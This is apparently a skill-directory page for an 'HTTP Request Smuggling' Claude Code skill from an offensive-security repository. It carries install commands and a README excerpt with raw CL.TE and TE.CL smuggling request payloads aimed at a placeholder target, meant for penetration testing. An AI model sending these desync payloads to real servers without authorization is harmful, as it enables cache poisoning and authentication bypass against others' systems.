HTTP Request Smuggling

HTTP Request Smuggling is a Quality skill for Claude Code, published by CyberStrikeus in CyberStrike.

1.7K stars269 forkson CyberStrikeus/CyberStrikeAdded 2026/08/12+4% in starsRepository updated 2026/08/12

aiai-agentai-securitybug-bountycybersecuritydevsecopsethical-hackinghackinghacking-toolllmmcpmcp-servermitre-attackoffensive-securityowasppenetration-testingpentestred-teamsecuritysecurity-tools

Install in seconds

Install HTTP Request Smuggling

Copy HTTP Request Smuggling into your Claude Code skills folder. Run the command in your terminal, or review the source on GitHub before installing.

terminal

npx degit https://github.com/CyberStrikeus/CyberStrike/tree/main/.cyberstrike/skill/attack-request-smuggling ~/.claude/skills/attack-request-smuggling

Requires Node.js. Downloads this skill only — not the rest of the repository — into your Claude Code skills folder.

Without Node.js

git clone https://github.com/CyberStrikeus/CyberStrike.git

Clones the whole repository, then copy the skill’s own directory into your skills folder yourself.

In this catalog

Source file: .cyberstrike/skill/attack-request-smuggling/SKILL.md in CyberStrikeus/CyberStrike
Installs to: ~/.claude/skills/attack-request-smuggling
Collection: One of 51 skills cataloged from this repository
Category: Quality — 1354 skills

What HTTP Request Smuggling does

HTTP Request Smuggling tests for CL.TE, TE.CL, TE.TE, and H2.CL desyncs between front-end and back-end servers. Use it to detect request boundary confusion, confirm impact, and demonstrate cache poisoning or auth bypass.

HTTP Request Smuggling is cataloged under Quality on DirSkills. HTTP Request Smuggling comes from a repository tagged ai, ai-agent, ai-security, bug-bounty and cybersecurity.

Documentation

README

Excerpt

POST / HTTP/1.1
Host: TARGET
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

TE.CL (front uses Transfer-Encoding, back uses Content-Length):

POST / HTTP/1.1
Host: TARGET
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Phase 2: Timing-Based Detection

Send ambiguous request, measure response time:

If back-end times out waiting for more data → smuggling may be possible

This is the opening of the README. Read the full README on GitHub.

Commands HTTP Request Smuggling provides

Slash commands named in this skill’s SKILL.md, listed in the order they first appear.

/log
/admin

Frequently asked about HTTP Request Smuggling

What else does CyberStrikeus publish alongside HTTP Request Smuggling?
HTTP Request Smuggling is one of 51 skills that DirSkills catalogs from CyberStrikeus/CyberStrike, the repository it ships in. Its siblings there include AMI Age Compliance, AMI Encryption Check and AMI Naming Convention Compliance. Each one is a separate skill with its own page in this directory, installs the same way HTTP Request Smuggling does, and is maintained by CyberStrikeus in that same repository. The rest of the collection is listed on the CyberStrikeus/CyberStrike page.
How does HTTP Request Smuggling compare to other Quality skills?
HTTP Request Smuggling ranks #601 by stars among the 1354 Quality skills in this catalog. The most-starred ones next to it are Benchmark, Benchmark Optimization Loop and API Design Patterns. DirSkills ranks by the star count of the repository each skill ships in, so that order reflects how popular those repositories are rather than any review of HTTP Request Smuggling against them. Open each page to compare what they document and how they install.